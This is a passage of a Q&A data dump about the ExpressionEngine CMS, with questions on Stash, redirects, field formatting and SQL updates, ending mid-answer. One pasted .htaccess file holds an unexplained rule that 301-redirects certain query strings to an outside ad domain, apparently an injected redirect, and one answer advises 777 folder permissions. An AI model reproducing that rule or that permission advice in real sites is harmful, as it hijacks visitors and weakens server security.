  <row Id="6756" PostTypeId="1" AcceptedAnswerId="6775" CreationDate="2013-02-26T15:39:37.220" Score="3" ViewCount="1047" Body="&lt;p&gt;I've got this code on a single entry template - it grabs the entry_id of the entry each time the template is loaded.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set scope=&quot;user&quot; save=&quot;yes&quot; name=&quot;recently-viewed&quot; replace=&quot;yes&quot; parse_tags=&quot;yes&quot;}{exp:stash:get name name=&quot;recently-viewed&quot; scope=&quot;user&quot;}{entry_id}|{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In a another template I'm trying to use exp:channel:entries like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries entry_id=&quot;{exp:stash:get name='recently-viewed'}&quot;}{title}{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm doing something wrong because no entries are being output by exp:channel:entries. If I use {exp:stash:get name=&quot;recently-viewed&quot;} outside exp:channel:entries, I'm getting the expected output, e.g. 2883|7365|3837.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried all day to figure it out - can anyone pleaseee point me in the right direction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best wishes&#xA;Lee&lt;/p&gt;&#xA;" OwnerUserId="68" LastActivityDate="2013-02-26T22:32:00.880" Title="How do I use Stash Get in exp:channel:entries?" Tags="|stash|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6757" PostTypeId="1" AcceptedAnswerId="7026" CreationDate="2013-02-26T16:14:40.313" Score="3" ViewCount="141" Body="&lt;p&gt;I recently had to do some emergency-work on my client's live server, and wanted to sync those changes back into my repository and staging environment. Now that I've synced them back (copied new files to local, committed them to my repo and pushed to staging) my staging environment and local environment both try to redirect to https:// versions of their frontend. The backend is fine, but fornt-end wants to load over SSL. I don't have DM Force SSL or any other SSL-related plugins installed. Any thoughts as to why this might occur? I've already checked my .htaccess, but that only contains EE's basic URL-rewrite... I'm stumped here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Steven&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="195" LastActivityDate="2013-03-05T17:15:39.520" Title="SSL Redirect (no idea where it's coming from)" Tags="|ee2|htaccess|ssl|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6758" PostTypeId="2" ParentId="6756" CreationDate="2013-02-26T16:25:00.717" Score="1" Body="&lt;p&gt;It looks like your entry id is getting parsed before stash. If you turn on output debugging you should see that your entry id is getting output as {exp:stash:get name='recently-viewed'} rather than as the stashed content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look at the New in V2.2.0 section in the Docs the developer explains parsing much better than I could ever. &lt;a href=&quot;https://github.com/croxton/Stash&quot; rel=&quot;nofollow&quot;&gt;https://github.com/croxton/Stash&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe try the stash:embed functionality&lt;/p&gt;&#xA;" OwnerUserId="628" LastActivityDate="2013-02-26T16:25:00.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6759" PostTypeId="2" ParentId="6596" CreationDate="2013-02-26T17:51:20.770" Score="1" Body="&lt;p&gt;I'd suggest further reduction of the previous_events code. Remove all fields from inside the tag... does it still work? Add a couple lines of code back in at a time until it breaks. Then narrow down to exact the field that is breaking. Most likely it's something in a specific entry. I've seen this before.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-02-26T17:51:20.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6760" PostTypeId="1" CreationDate="2013-02-26T18:11:47.163" Score="1" ViewCount="18" Body="&lt;p&gt;I am working on a site with several (20+) member groups. The administrator would like to send an email via Tools &gt; Communicate to one of the member groups. However, only the “Super Admins” under “Member Groups” in the email interface. Why would all the other member groups not be displayed?&lt;/p&gt;&#xA;" OwnerUserId="1066" LastActivityDate="2013-02-26T18:24:40.483" Title="Why can I only see &quot;Super Admins&quot; in the Communicate interface?" Tags="|email|groups|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6761" PostTypeId="2" ParentId="6760" CreationDate="2013-02-26T18:24:40.483" Score="1" Body="&lt;p&gt;I think you want to enable this preference on the Edit Member Group page:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Allow Members in Site's Mailing Lists and Related Abilities? (i.e. Group Available in Communicate section)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="77" LastActivityDate="2013-02-26T18:24:40.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6762" PostTypeId="1" CreationDate="2013-02-26T19:23:39.480" Score="0" ViewCount="133" Body="&lt;p&gt;I was wondering if ExpressionEngine support child / sub themes similar to the way other CMSs have implemented template / theme inheritance?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Wordpress - &lt;a href=&quot;http://codex.wordpress.org/Child_Themes&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Child_Themes&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Drupal - &lt;a href=&quot;http://drupal.org/node/225125&quot; rel=&quot;nofollow&quot;&gt;http://drupal.org/node/225125&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;thanks!&lt;/p&gt;&#xA;" OwnerUserId="965" LastEditorUserId="965" LastEditDate="2013-02-26T19:49:49.470" LastActivityDate="2014-02-27T06:14:53.210" Title="Does ExpressionEngine support child or sub themes (theme inheritance)?" Tags="|ee2|templates|themes|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="6763" PostTypeId="1" CreationDate="2013-02-26T19:57:15.673" Score="2" ViewCount="298" Body="&lt;p&gt;I've got a matrix column with 110 rows but only 11 values (each value in 11 times). Is there a way to query the distinct values in that column rather than returning all the results?&lt;/p&gt;&#xA;" OwnerUserId="373" LastActivityDate="2013-11-29T13:54:24.070" Title="Select distinct values from a matrix column" Tags="|add-on|matrix|pixelandtonic|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6764" PostTypeId="1" AcceptedAnswerId="6771" CreationDate="2013-02-26T20:02:12.543" Score="2" ViewCount="863" Body="&lt;p&gt;Recently I have noticed a question mark symbol in my sites slugs.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.url.co.uk/?/contact/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does any one no what this means and why it has suddenly appeared?&lt;/p&gt;&#xA;" OwnerUserId="1068" LastEditorUserId="150" LastEditDate="2013-02-27T14:44:23.597" LastActivityDate="2013-02-27T14:44:23.597" Title="Question Mark (?) symbol in URLs" Tags="|url|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6765" PostTypeId="1" CreationDate="2013-02-26T20:03:39.463" Score="1" ViewCount="85" Body="&lt;p&gt;I'm using playa inside a matrix form in safecracker to add ingredients into my recipe list. If the ingredient isn't listed as an entry already, I've added a modal window that allows you to add a new ingredient listing. When the modal closes, I would like the playa field to refresh so that the new ingredient is displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I'm having no such luck. It appears that playa has a dynamic element to it with the search function. It also appears that when I modify the html on scrollpane in firebug, I can only add a new item 'if' I have added it already using my modal. I was wondering whether there was a simpler function or callback I can use to refresh the whole list when my modal closes. &lt;/p&gt;&#xA;" OwnerUserId="1069" LastActivityDate="2013-02-26T20:03:39.463" Title="Playa inside matrix dynamically reload singles select list in safecracker form" Tags="|safecracker|playa|dynamic|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6766" PostTypeId="1" AcceptedAnswerId="6891" CreationDate="2013-02-26T20:05:42.990" Score="2" ViewCount="389" Body="&lt;p&gt;Does anyone know why or have ever experienced WYGWAM taking styles from their css file? I recently moved EE from one server to another and on the new server the WYGWAM entry field is taking styles from my css. Can anyone offer any help to why this is happening and how to fix it? (See attached image for better explanation)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KeA9K.jpg&quot; alt=&quot;WYGWAM Screen Dump&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pyrK1.jpg&quot; alt=&quot;WYGWAM Editor Settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kmuQY.jpg&quot; alt=&quot;Source from CP&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Wdnub.jpg&quot; alt=&quot;Screen grab from Safari inspector&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&#xA;Stephen.&lt;/p&gt;&#xA;" OwnerUserId="898" LastEditorUserId="898" LastEditDate="2013-02-28T19:47:16.187" LastActivityDate="2013-03-01T06:44:33.140" Title="WYGWAM taking styles from website css file?" Tags="|wygwam|pixelandtonic|" AnswerCount="1" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="6767" PostTypeId="2" ParentId="6749" CreationDate="2013-02-26T20:23:56.367" Score="3" Body="&lt;p&gt;EE uses the codeigniter table library .. &#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/cp_styles/index.html#table-based-layout&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/cp_styles/index.html#table-based-layout&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue you're probably running into is that it's trying to use one of the default CP styles.  The library itself should be usable without being in the control panel, though jquery tablesorter may still be a better choice.&lt;/p&gt;&#xA;" OwnerUserId="963" LastEditorUserId="963" LastEditDate="2013-02-26T21:17:51.190" LastActivityDate="2013-02-26T21:17:51.190" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6768" PostTypeId="2" ParentId="6756" CreationDate="2013-02-26T20:31:18.823" Score="2" Body="&lt;p&gt;Did you try adding &lt;code&gt;parse=&quot;inward&quot;&lt;/code&gt; to your channel entries loop so things are parsed in the right order? Would also add a &lt;code&gt;dynamic=&quot;no&quot;&lt;/code&gt; parameter in there for good measure.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries parse=&quot;inward&quot; entry_id=&quot;{exp:stash:get name='recently-viewed'}&quot; dynamic=&quot;no&quot;}{title}{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="141" LastEditorUserId="141" LastEditDate="2013-02-26T20:40:44.253" LastActivityDate="2013-02-26T20:40:44.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6769" PostTypeId="1" AcceptedAnswerId="7144" CreationDate="2013-02-26T20:37:46.467" Score="1" ViewCount="390" Body="&lt;p&gt;Just installed Assets 2.0.5 on EE2.5.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I click 'update indexes' I get no loading bars.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have checked my .htaccess file, which shouldn't interfere:&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;EE-supported method for removing index.php&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&#xA;        RewriteEngine On&#xA;        # Removes index.php&#xA;        RewriteCond $1 !.(gif|jpe?g|png)$ [NC]&#xA;        RewriteCond %{REQUEST_FILENAME} !-f&#xA;        RewriteCond %{REQUEST_FILENAME} !-d&#xA;        RewriteRule ^(.*)$ /index.php/$1 [L]&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    # If 404s, &quot;No Input File&quot; or every URL returns the same thing&#xA;    # make it /index.php?/$1 above (add the question mark)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;EE 404 page for missing pages&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;ErrorDocument 404 /index.php/404/index&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Simple 404 for missing files&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&#xA;  ErrorDocument 404 &quot;File Not Found&quot;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RewriteCond %{QUERY_STRING} sr=&#xA;RewriteRule (.*) &lt;a href=&quot;http://www.kontera.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.kontera.com/&lt;/a&gt;$1? [R=301]&lt;/p&gt;&#xA;" OwnerUserId="225" LastActivityDate="2013-03-08T01:14:27.143" Title="Assets 2.0.5 not indexing" Tags="|assets|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6770" PostTypeId="2" ParentId="6769" CreationDate="2013-02-26T20:44:50.433" Score="1" Body="&lt;p&gt;4midori - &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you please check that /system/expressionengine/cache and its subfolders are 777 permissions? We see this most often when permissions are off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if you're using local folders, please make sure you also synchronize them in Content -&gt; File Manager -&gt; File Upload Preferences before attempting to Update Indexes.&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-02-26T20:44:50.433" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="6771" PostTypeId="2" ParentId="6764" CreationDate="2013-02-26T20:49:06.047" Score="5" Body="&lt;p&gt;This comes from having Admin &gt; Output and Debugging &gt; Force Query strings to 'yes'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may need that for it to work, and you can add it after 'index.php' in your .htaccess file and turn off the EE option to force it into the URL.&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-02-26T20:49:06.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6772" PostTypeId="1" AcceptedAnswerId="6840" CreationDate="2013-02-26T20:50:03.997" Score="3" ViewCount="63" Body="&lt;p&gt;I'm hoping to provide a client with the ability to filter custom member fields in the CP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know &lt;a href=&quot;http://devot-ee.com/add-ons/zenbu&quot; rel=&quot;nofollow&quot;&gt;Zenbu&lt;/a&gt; has this functionality for channels, but I need it specifically for members and their [custom] fields. Does anyone know if anything like this exists? I can build something front-end, but would like to keep it isolated to the CP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I realize this is probably best accomplished with something like &lt;a href=&quot;http://devot-ee.com/add-ons/zoo-visitor&quot; rel=&quot;nofollow&quot;&gt;Zoo Visitor&lt;/a&gt;. Just wondering if there is anything else out there :)&lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="117" LastEditDate="2013-02-26T21:20:30.237" LastActivityDate="2013-02-28T02:53:47.517" Title="Sort or Filter Members in Control Panel" Tags="|members|filter|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6773" PostTypeId="2" ParentId="6444" CreationDate="2013-02-26T21:39:49.910" Score="3" Body="&lt;p&gt;I'm having the same issue, even though I've set PayFlow Pro to Test mode. I'm surprised any non PHP experienced developer can figure this out. I only did after digging through the code and dumping the responses at several points in the checkout process. It also does not let you use a test CC number. For example 411111111111 is a common test number that all CC companies recognize, but Store says its invalid. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend reconsidering this &quot;feature&quot; - If the payment gateway is in test mode, then it should be submitting to a test server, so it does not matter what the CC # is or if its a secure request. Its actually more of a security risk to require me to comment out code to test locally (even our dev server doesn't have SSL certs on it) then hope I remember to uncomment it out before going to production. Magento uses test modes in a similar fashion, why can't Store?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also recommend more robust logging... as it stands right now the only way for a non-PHP developer to figure out what is going on is to var_dump all over the code base. Even an experienced PHP developer should be able to view a log of what is happening. I actually have an easier time debugging Magento errors than I do Store :(&lt;/p&gt;&#xA;" OwnerUserId="82" LastActivityDate="2013-02-26T21:39:49.910" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6774" PostTypeId="1" AcceptedAnswerId="6783" CreationDate="2013-02-26T21:52:52.670" Score="3" ViewCount="501" Body="&lt;p&gt;On a website with many many entries i've recently changed a textarea field to an expresso field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I now have 2 types of entries, entries with formatting, and without formatting. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My idea so far:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Buy low_search, use find and replace&lt;/li&gt;&#xA;&lt;li&gt;Write some SQL code, try to find the all the saved &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tags and remove them.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Am I looking at this the wrong way? &#xA;Is there a way to (re)enforce a text formatting (auto &lt;code&gt;&amp;lt;br /&amp;gt;&lt;/code&gt; or none) to all entries on a site without opening and resaving each entry?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&#xA;I logged in to the database and found out that the formatting hadn't changed. So no need to add &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; or &lt;code&gt;&amp;lt;br /&amp;gt;&lt;/code&gt;. Expression Engine does recognize the empty lines (&lt;code&gt;/n&lt;/code&gt;) and somehow adds the neccesary tags when the page is rendered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This changes my question a bit: Is there a way to add html text formatting (&lt;code&gt;&amp;lt;/p&amp;gt;&amp;lt;p&amp;gt;&lt;/code&gt;) to all entries in the database so I can switch to another field type without losing my line breaks?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;The original question was: &quot;Is there a way to (re)enforce a text formatting (auto &lt;code&gt;&amp;lt;br /&amp;gt;&lt;/code&gt; or none) to all entries on a site without opening and resaving each entry?&quot;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE2:&#xA;It turns out there is a way to add text-formatting to Expresso, which is the field type i'm using. It's quite simple:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the file &lt;code&gt;ft.expresso.php&lt;/code&gt; find the line &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;text-format =&gt; 'none',&#xA;  And change it to&#xA;  text=format =&gt; 'xhtml',&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;However, since I got so much help figuring this out AND I changed the question, because I thought it was impossible to change in Expresso itself I'm gonna select the answer given by nonprofit_tech as the correct answer.&lt;/p&gt;&#xA;" OwnerUserId="426" LastEditorUserId="426" LastEditDate="2013-03-04T16:16:21.440" LastActivityDate="2013-03-04T16:16:21.440" Title="how can I safely change the empty lines /n in the database to &lt;/p&gt;&lt;p&gt; so they will be rendered correctly when I change the field type?" Tags="|expresso|text-formatting|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6775" PostTypeId="2" ParentId="6756" CreationDate="2013-02-26T22:32:00.880" Score="3" Body="&lt;p&gt;You can do this with exp:stash:parse&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:parse}&#xA;  {exp:channel:entries entry_id=&quot;{stash:recently-viewed}&quot;}{title}{/exp:channel:entries}&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may need to add process=&quot;end&quot; to the exp:stash:parse tag depending on the order of your templates.&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-02-26T22:32:00.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6776" PostTypeId="2" ParentId="6774" CreationDate="2013-02-26T22:37:08.003" Score="4" Body="&lt;p&gt;You can do this SQL query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE exp_channel_data SET field_ft_X = 'none' WHERE channel_id = Y;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where X is the field_id of the field in question and Y is the channel_id of the channel in question.&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-02-26T22:37:08.003" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6777" PostTypeId="1" CreationDate="2013-02-26T22:41:51.043" Score="2" ViewCount="626" Body="&lt;p&gt;I manage a site for a local live-performance theatre that uses ExpressionEngine to manage their content and TicketMaster for it's online ticket sales.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a user buys a ticket through TM, they send out a receipt with links back to the theatre's website. Unfortunately, the links are appended with a url query string—specifically &lt;code&gt;?camefrom=ticketmaster&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, this url causes a 404 Not Found error because EE is trying to parse the get variable as a slug, controller, or page. There is no flexibility on TM's part to create different URLs because it's all automated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The information I've found thus far concludes that EE doesn't like URL variables at all. Is there any way to circumvent the URL rewrite engine while stile passing this variable to the server (because they'd also like to keep track of the referrals from TicketMaster via an email).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding a second parameter (ie, ?camefrom=tm&amp;amp;foo=bar) &lt;em&gt;works&lt;/em&gt;, but isn't an option because TM will not change the URL they place in the emails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have an idea?&lt;/p&gt;&#xA;" OwnerUserId="1070" LastActivityDate="2013-03-02T14:50:10.887" Title="Is there a way to use $_GET variables on an EE site to pass Google Analytics the referrer info?" Tags="|url|querystring|analytics|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="6778" PostTypeId="2" ParentId="6762" CreationDate="2013-02-27T00:54:07.427" Score="2" Body="&lt;p&gt;No, it does not. In fact, EE does not really use &quot;themes&quot;, per se. it uses templates, which are in no way bundled together as &quot;themes&quot;. It's very difficult to &quot;theme&quot; EE, because every EE install is completely different with different channels, custom fields, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE is really about bespoke, custom sites. If you go in thinking of it as a &quot;theme-able&quot; CMS, you are in for a world of confusion and hurt.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-02-27T00:54:07.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6779" PostTypeId="1" CreationDate="2013-02-27T01:58:50.607" Score="3" ViewCount="89" Body="&lt;p&gt;I know you can change them globally from the Admin menu, but what I was hoping for was someway to temporarily ignore the field formatting selected and simply output the data in the field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why? I have a bunch of Smartdown fields (Markdown) that I want to actually show the pre-parsed MD -- without actually changing the formatting of the field. &lt;/p&gt;&#xA;" OwnerUserId="501" LastActivityDate="2013-02-27T03:37:10.510" Title="Is there a way to ignore the field formatting of a custom field?" Tags="|custom-fields|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6780" PostTypeId="2" ParentId="6753" CreationDate="2013-02-27T02:50:14.023" Score="2" Body="&lt;p&gt;Yes, you can use the username in the URL and display member profile data based on this username. See &lt;a href=&quot;http://www.solspace.com/docs/user/stats/#username&quot; rel=&quot;nofollow noreferrer&quot;&gt;User's documentation on the username=&amp;quot;&amp;quot; parameter in &lt;code&gt;{exp:user:stats}&lt;/code&gt;&lt;/a&gt; for more details. From the documentation:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;code&gt;username=&amp;quot;some_username&amp;quot;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;This parameter allows you to show the specified members' stats. A variable like &lt;code&gt;{segment_3}&lt;/code&gt; can also be used to pull a username from the URL.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The only caveat is when the username contains characters that EE or your server does not allow. Check your EE/Server settings if you encounter &lt;em&gt;disallowed character&lt;/em&gt;-type errors.&lt;/p&gt;&#xA;&lt;p&gt;Alternatively, you could make your registration/profile edit forms in a way that prevents the user of anything but alphanumerical characters, for example. A javascript/jQuery validation script could be used for that purpose.&lt;/p&gt;&#xA;" OwnerUserId="884" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2013-02-27T02:50:14.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6781" PostTypeId="2" ParentId="6779" CreationDate="2013-02-27T03:05:10.730" Score="2" Body="&lt;p&gt;Have a look at &lt;a href=&quot;http://devot-ee.com/add-ons/single-field&quot; rel=&quot;nofollow&quot;&gt;Single Field&lt;/a&gt; - it can grab your raw data using its &lt;code&gt;field_format=&quot;raw&quot;&lt;/code&gt; parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, just use the Query module:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT field_id_XX FROM exp_channel_data WHERE entry_id = XX&quot;}&#xA;    {field_id_XX}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-02-27T03:05:10.730" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6782" PostTypeId="2" ParentId="6779" CreationDate="2013-02-27T03:37:10.510" Score="2" Body="&lt;p&gt;I think this might be the random case, where Derek Jones' &lt;a href=&quot;https://github.com/EllisLab/No-Formatting&quot; rel=&quot;nofollow&quot;&gt;No Formatting&lt;/a&gt; might come in use. It can be used directly on the template like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:no_formatting}{my_field}{/exp:no_formatting}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And &lt;em&gt;should&lt;/em&gt; return just the string of text from the field. I emphasize &lt;em&gt;should&lt;/em&gt; because I've never used it with 'Markdown' in a field.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-02-27T03:37:10.510" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6783" PostTypeId="2" ParentId="6774" CreationDate="2013-02-27T04:06:20.200" Score="6" Body="&lt;p&gt;ExpressionEngine allows you to natively, enforce or re-enforce format changes on a field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should be done before the switch to &lt;a href=&quot;http://www.putyourlightson.net/expresso&quot; rel=&quot;nofollow noreferrer&quot;&gt;Espresso&lt;/a&gt; field_type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to Admin and Select Channel Fields&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4m4On.png&quot; alt=&quot;Select Channel Fields from Admin&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to the field you want to transition to Espresso. Switch the field's default formatting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rveD9.png&quot; alt=&quot;Update all Entries Option&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll note an update option appears in orange under the format type once you've switched. This option will allow you to propagate the change to all entries, using the field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the simplest option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, with &lt;a href=&quot;http://www.putyourlightson.net/expresso&quot; rel=&quot;nofollow noreferrer&quot;&gt;Expresso&lt;/a&gt; field_type, you want to do some of these modifications, &lt;strong&gt;BEFORE&lt;/strong&gt; you switch field_types. For example, if you where using &lt;code&gt;XHTML&lt;/code&gt; formatting. You'd want to switch that to &lt;code&gt;&amp;lt;br /&amp;gt;&lt;/code&gt; to preserve white space, before switching to Espresso. Why? Because the white space under the current &lt;code&gt;XHTML&lt;/code&gt; formatting doesn't actually use &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; or &lt;code&gt;&amp;lt;br /&amp;gt;&lt;/code&gt; tags and Espresso doesn't recognize new line &lt;code&gt;\r&lt;/code&gt; or &lt;code&gt;\n&lt;/code&gt; marks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you've &lt;strong&gt;ALREADY&lt;/strong&gt; switched field types and lost all your white space, the easiest way to return it, is rollback your database, perform the switches to the field before changing field_type. Because restoring whitespace after the fact is pretty much a manual operation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATED&lt;/strong&gt;&#xA;If you want to add the paragraph tags to the field, you can do so by running a MySQL update query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE exp_channel_data SET field_id_### = REPLACE(field_id_###, '\r', '&amp;lt;/p&amp;gt;&amp;lt;p&amp;gt;') WHERE channel_id IN('3');&#xA;UPDATE exp_channel_data SET field_id_### = REPLACE(field_id_###, '\n', '&amp;lt;/p&amp;gt;&amp;lt;p&amp;gt;') WHERE channel_id IN('3');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically, for the specified field, in the specified channel, you are finding &lt;code&gt;return marks&lt;/code&gt; replacing them with a close than open paragraph tag, then doing the same for the &lt;code&gt;new lines&lt;/code&gt;. This works fine, with one exception, 'It doesn't provide the initial 'open' or the last 'close' paragraph tag. You can of course, do so on the template, by enclosing the field like 